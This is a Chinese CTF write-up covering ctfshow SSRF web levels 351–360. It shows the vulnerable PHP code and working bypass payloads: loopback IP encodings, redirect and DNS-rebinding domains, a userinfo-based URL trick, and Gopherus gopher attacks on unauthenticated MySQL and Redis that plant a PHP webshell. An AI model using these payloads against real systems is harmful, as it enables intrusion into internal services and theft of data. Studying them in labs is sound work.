ctfshow web入门 SSRF

news/2025/9/20 13:11:45/文章来源:https://www.cnblogs.com/zdqjudy/p/19102326

ctfshow web351

curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭

<?php
// 关闭所有错误报告(不显示任何PHP错误)
error_reporting(0);// 高亮显示当前文件的源代码(通常用于调试/演示)
highlight_file(__FILE__);// 从POST请求中获取名为'url'的参数值
$url = $_POST['url'];// 初始化一个CURL会话,指向用户提供的URL
$ch = curl_init($url);// 设置CURL选项:不包含HTTP头部在输出中
curl_setopt($ch, CURLOPT_HEADER, 0);// 设置CURL选项:将传输结果作为字符串返回而不是直接输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// 执行CURL请求并将结果存储在$result变量中
$result = curl_exec($ch);// 关闭CURL资源
curl_close($ch);// 输出请求结果
echo ($result);
?>

这里面比较关键的还是curl_exec函数,用于执行url请求,看到这里我们就可以考虑利用file协议读取目录敏感文件了,只是不知道flag在什么目录下面,可以先看下/etc/passwd

貌似没有什么有用的线索, 想了想要不要试一下当前目录

果然还是什么都没有吗,要不要看看页面源码

果然藏在页面源码里面,有个if语句还检查了是不是来自本机的ip,说明http://127.0.0.1/flag.php说不定也可以

ctfshow web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

一样的,会执行你的curl会话,只要访问本地目录flag即可,但是过滤了127.0.0.1

// IP转数字

url=http://2130706443/flag.php


// 缺省零

url=http://127.1/flag.php


// 127.0.0.1 ~ 127.255.255.254 都表示 localhost

url=http://127.255.255.254/flag.php


// sudo.cc

url=http://sudo.cc/flag.php


// 0 在 linux 系统中会解析成 127.0.0.1

// 在 windows 中解析成 0.0.0.0

url=http://0/flag.php

ctfshow web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

这次过滤了0和1还有localhost,之前数字转ip还有省0都用不了,就sudo.cc还可以用

想要解题就得利用302重定向,搞一个dns解析到127.0.0.1的域名,可以自己买一个也可以自己找一个,在http://127.0.0.1/flag.php中替换到127.0.0.1即可

url=<a href="http://www.ruiaxx.cn/flag.php" title="http://www.ruiaxx.cn/flag.php">http://www.ruiaxx.cn/flag.php

ctfshow web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> scheme

这块代码审计没碰过废了好大力气才看懂,其实就是post传参url,将 url拆解成 scheme(协议)、host(主机)、path(路径)等部分传给变量x,,然后if语句检测scheme部分是不是http或者https。gethostbyname函数会直接返回主机ip。if语句判断ip是不是私有ip或者回环ip,是的话就输出ip!结束,不是的话就会输出URL读取到的文件内容。如果不是http协议就会输出schema结束

综合上述代码内容,基本上ip转数字,302重定向,多类型回环地址基本都用不了,怎么办呢。别急,还能用DNS重定向。

DNS重定向也就是在DNS解析服务端和客户端url的短暂间隔内,更改url对应的ip即可达到访问内网的目的,但是这个我只能说有可能成功,不一定能完全成功,需要多试几次(运气好一次试出来当我没说)

提供一个实现dns重定向的网站,这里A和B里面公有ip和私有ip写哪都可以

[https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg](https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg)

ctfshow web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}

检测url

  • **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">http://ctf.</font>** 开头(不区分大小写,**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">/i</font>** 修饰符)。
  • 中间可以是任意字符(**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">.*</font>**)。
  • **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">show</font>** 结尾。

我本来想找一下可以解析为127.0.0.1的域名中有没有存在ctf.开头的域名,结果没有。只能另辟蹊径

没想到这道题问deepseek居然可以直接出答案

解法

[<font style="color:#000000;">http://ctf.@127.0.0.1/flag.php?show</font>](http://ctf.@127.0.0.1/flag.php?show)

这里其实涉及一个很古老的url片段,以前的url会在协议后面加上用户名例如

<font style="color:#000000;">schema://username@host:port</font>,现在因为密码明文运输了其实这种写法很少见了,但是这里正则匹配要求ctf.开头的话就只能使用这种方法了,结尾要show作结尾的话可以让其作为参数结尾反正不影响路径

ctfshow web359

题目提示

打无密码的mysql为什么是无密码呢? https://paper.seebug.org/510/ MySQL客户端连接并登录服务器时存在两种情况:
需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,
服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。
所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,
本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

首先打开题目发现是登录框,理所当然抓个包看看

可以看到有两个可以利用到的参数

利用returl参数请求一下百度发现可以

一般 SSRF 打内网应用主要还是通过协议,比如用的比较多的是 gopher

具体怎么做呢?
细心的同学可能发现,无论是用 gopher 攻击 redis、mysql、还是 ftp,这些主要都是基于 tcp 协议为主。这和 gopher 协议的基本格式有关

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

因为,如果想要打 MySQL 就需要知道 MySQL 通信时的 TCP 数据流,才能知道要怎么和 MySQL 通信,这里可以通过 Wireshark 抓包来分析

不过这里有个更好用的工具
https://github.com/tarunkant/Gopherus
他包含常见的应用 gopher 数据包的格式构造, 原理也是通过 Wireshark 抓包分析,然后写脚本。

当然,除了满足MySQL未授权外,还需要MySQL开启允许导出文件以及知道网站根目录,本漏洞才能成功利用,缺一不可。

这个 <font style="color:rgb(232, 62, 140);background-color:rgb(246, 246, 246);">/var/www/html</font> 目录是如何知道的呢?应该是爆破的…

生成的 POC 里,<font style="color:rgb(232, 62, 140);background-color:rgb(246, 246, 246);">_</font> 字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码,然后,比如 %00 解码后,PHP会直接截断。。

ctfshow web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

开始没看题目提示,一看这里什么都没过滤,file伪协议,http伪协议都用了,但是因为不知道flag在哪所以一直写不出来,看了题目提示才知道要打redis

利用工具生成一下webshell,默认是生成shell.php

这边发的包会超时,但是不用担心,shell.php还是生成了的

访问一下,果然生成了

首先看看当前目录有没有flag

看看根目录下有没有flag

果然有,flag以后就在flaaag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/908342.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#中避免GC压力和提高性能的8种技术

本文将展示 8 种技术来最大限度地降低 GC 压力,并通过这样做来提高性能。8 Techniques to Avoid GC Pressure and Improve Performance in C# .NET Performance | .NET , Memory / May 27, 2019 In a .NET applicati…

UNIX网络编程笔记:共享内存区和远程过程调用 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

基于OpenCv做照片分析应用一(Java) - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

函数内联

本文将介绍 什么是内联(Inlining)、为什么重要,以及如何在 .NET 应用中有效使用 [MethodImpl]。一个相对小众但强大的工具就是 [MethodImpl(MethodImplOptions.AggressiveInlining)] 特性。 本文将介绍 什么是内联(…

7. Innodb底层原理与Mysql日志机制深入剖析

7.1 Mysql的内部结构 大体来说,MySQL可以分为Server层和存储引擎层两部分。 7.1.1 Server层 主要包括连接器、查询缓存、分析器、优化器、执行器等,涵盖 MySQL 的大多数核心服务功能,以及所有的内 置函数(如日期、…

WPF 字符竖向排列的排版格式(直排)表明控件

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

新建Vue3项目流程

新建Vue3项目流程​一、环境准备​​ 创建Vue3项目前,需确保系统安装以下工具:• ​​Node.js​​:建议使用LTS版本(≥18.3),可通过node -v命令检查是否安装成功;• ​​包管理工具​​:推荐使用npm(Node.js自…

G. Chimpanzini Bananini

View PostG. Chimpanzini BananiniG. Chimpanzini Bananini大致题意:有以下三种操作:循环右移数组,即 \([a_1, a_2, \ldots, a_n]\) 变成 \([a_n, a_1, a_2, \ldots, a_{n-1}]\)。 反转数组,即 \([a_1, a_2, \ldot…

深入解析:HSA35NV001美光固态闪存NQ482NQ470

深入解析:HSA35NV001美光固态闪存NQ482NQ470pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &qu…

ERP和MES、WMS、CRM,到底怎么配合 - 智慧园区

最近和不少老板聊ERP的时候,有句话听得特别多:总部说上了ERP就够了 可仓库说还要WMS 生产说MES必不可少 销售又提CRM这些系统到底怎么配合? 这话一出,就把企业信息化的痛点揭示出来了—— 很多老板以为ERP能包打天…

YOLO实战应用 1YOLOv5 架构与模块

实战应用 YOLOv5 架构与模块 核心概念YOLOv5:YOLO 系列的工程化实现,结构更简洁,代码更易读。 配置文件解析:通过 .yaml/.cfg 文件逐层定义网络结构。 Focus 模块:将输入图像切片重组,降低空间分辨率的同时增加…

YOLO实战应用 2数据准备与增强

实战应用 2数据准备与增强 核心概念残差模块 (shortcut / cover block):通过卷积与捷径连接实现特征相加,保证深层网络训练稳定。 NMS(非极大值抑制):用于去除多余重叠框,提升检测结果的准确性。 Soft-NMS:对高…

Day18稀疏数组

二维数组中的大部分默认值都为零,导致记录了许多没有意义的数据,稀疏数组用坐标对应有效值的方式大大简化了原本繁杂的数组package com.cc.array;import java.util.Arrays;public class ArrayDemo8 {public static v…

底层

面向过程转变成面向对象的底层逻辑 本套课程有一定难度,讲得不好,请多多包涵!里面有很多我的个人见解(仅供参考!如有指导,请把邮件发送到该邮箱690141760@qq.com) 如果有人问面向对象四大特征是什么?我相信基本…

YOLO实战应用 3训练与优化策略

实战应用 3训练与优化策略 核心概念数据加载与缓存:通过缓存机制提升训练效率,避免重复读取和处理标签。 Mosaic 数据增强:随机拼接四张图像,提升数据多样性与模型鲁棒性。 Batch 构建:一次迭代处理多个样本,并…

WPF 视图缩略图控件(支持缩放调节与拖拽定位)

实现 WPF 应用中画布的缩放控制与缩略图导航,支持滑块调节缩放比例、缩略图拖拽定位,实时同步主画布视图与缩略图视口位置。缩放控制:通过 Slider 值变化计算缩放比例,同步更新主画布 ScaleTransform,并调整 Scro…

实用指南:Dify关联Ollama

实用指南:Dify关联Ollama2025-09-20 12:21 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; f…

ik中文分词器使用

IK分词器介绍 在ElasticSearch中默认使用的分词器为Standard分词器,该分词器对中文不友好,对中文的处理方式是按单个汉字分词,无法识别中文里的词语、短语等语义单元。例如对于 "汉朝" 这个词,默认分词器…

动态水印也能去除?ProPainter一键视频抠图整合包下载

ProPainter是一个基于E2FGVI实现的AI视频编辑工具,它结合了增强的传播和Transformer机制,能够快速高效地进行视频修复和水印去除功能特点对象移除:智能地检测和移除视频中的动态物体,对于去除不需要的元素或错误…

SpringBoot整合RustFS:全方位优化文件上传性能

SpringBoot整合RustFS:全方位优化文件上传性能作为一名多年深耕分布式存储的架构师,我在多个企业级项目中成功实施SpringBoot与RustFS的集成。本文将分享一套​经过实战检验的性能优化方案,帮助你的文件上传速度提升…